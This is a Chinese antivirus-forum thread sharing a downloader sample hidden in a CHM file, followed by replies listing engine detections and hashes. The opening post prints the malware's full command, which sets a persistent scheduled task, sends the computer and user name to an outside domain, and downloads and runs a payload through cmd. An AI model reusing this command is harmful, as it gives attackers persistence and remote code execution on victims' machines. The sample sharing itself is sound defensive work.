#Downloader

显示全部楼层 · 发表于 2023-12-2 18:24:15

Downloader, 把自己塞到了计划任务里）后续的c.fi没下全如果有人抓到可以传上来
VT(7/60)

"C:\Windows\System32\cmd.exe" /c start /min schtasks /create /tn WindowsLiveScreenUpdates /f /sc minute /mo 15 /tr "mshta vbscript:Execute('CreateObject(''WScript.Shell'').Run ''cmd /c curl -o %Public%\Music\c.fi newsaxfluteclub.com/rner.php?pv=%computername%__%username%&More %Public%\Music\c.fi|cmd'', 0, True:close')">nul &taskkill /f /IM hh.exe > nul

复制代码

显示全部楼层 · 发表于 2023-12-2 18:39:00

本帖最后由 z614606517 于 2023-12-2 18:40 编辑

双击无反应卡巴斯基企业版扫杀

显示全部楼层 · 发表于 2023-12-2 18:40:14

本帖最后由 tony099 于 2023-12-2 18:41 编辑

本体名称: UDS:DangerousObject.Multi.Generic
释放衍生物：名称: HEUR:Trojan.Script.Generic

显示全部楼层 · 发表于 2023-12-2 18:41:24

显示全部楼层 · 发表于 2023-12-2 18:56:15

360扫描miss

显示全部楼层 · 发表于 2023-12-2 19:25:32

干掉了

显示全部楼层 · 发表于 2023-12-2 19:49:34

火绒
扫描：MISS

华为乾坤
扫描：MISS

显示全部楼层 · 发表于 2023-12-2 21:04:14

显示全部楼层 · 发表于 2023-12-2 21:11:44

安天
fc72bd3e21cddcb3c181d7bdf1cacd2886701cdf9cc12be63061c2eeeda47ce9.chm
类型：Trojan/Win32.Agent(NULL@NULL)
文件 MD5：30605C57F69B6A5549DC9450A8F28903

显示全部楼层 · 发表于 2023-12-2 21:32:09

biue 发表于 2023-12-2 18:41

2023-12-2 21:31:47 MD5:30605c57f69b6a5549dc9450a8f28903 C:\Users\Administrator\Desktop\infected\fc72bd3e21cddcb3c181d7bdf1cacd2886701cdf9cc12be63061c2eeeda47ce9.chm [Script.Trojan.Generic.zfow(aiScore=m)] [删除成功]

复制代码

[病毒样本] #Downloader